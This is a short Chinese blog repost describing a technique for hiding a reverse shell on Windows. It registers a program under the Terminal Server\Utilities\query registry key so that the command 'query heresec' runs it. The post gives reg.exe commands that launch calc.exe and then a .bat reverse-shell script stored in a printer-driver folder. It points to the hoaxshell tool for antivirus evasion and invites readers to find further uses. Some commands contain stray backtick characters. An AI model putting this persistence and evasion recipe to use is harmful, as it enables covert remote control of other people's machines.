← 返回列表

一条命令来隐藏反向Shell

单站 关注安全技术 发布 Sat, 13 May 2023 16:24:00 +0800 入库 2026-11-18T03:26:03

xiaoy 2023-05-13 16:24 辽宁

转载的。

From:https://www.youtube.com/watch?v=gzv3d7rvjKA

注册表路径:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal``Server\Utilities\query

包含了与终端服务器相关的设置和配置信息。

执行命令query可以查看服务器的一些状态,实际上是执行此项值中的可执行文件。

添加一条,打开计算器。

reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal``Server\Utilities\query" /v heresec /t REG_MULTI_SZ /d``0\01\0heresec\0calc.exe

这里再介绍一个能够绕过一些AV的Windows反向shell生成器和交互程序。(测试环境用的X绒,可以绕过,经测试不能绕过Windows Defender的AMSI)。

https://github.com/t3l3machus/hoaxshell
将命令写入一个bat脚本中,然后添加注册表后执行。

reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal``Server\Utilities\query" /v heresec /t REG_MULTI_SZ /d 0\01\0heresec\0C:\Windows\System32\spool\drivers\color\1.bat``query heresec

只需执行命令query heresec即可运行反弹shell脚本。

还能怎么用,再联想一下。

原文链接:https://mp.weixin.qq.com/s?__biz=MzA4MDMwMjQ3Mg==&mid=2651868597&idx=1&sn=fb75b17eb149e15821b1a6d60a1dc4ae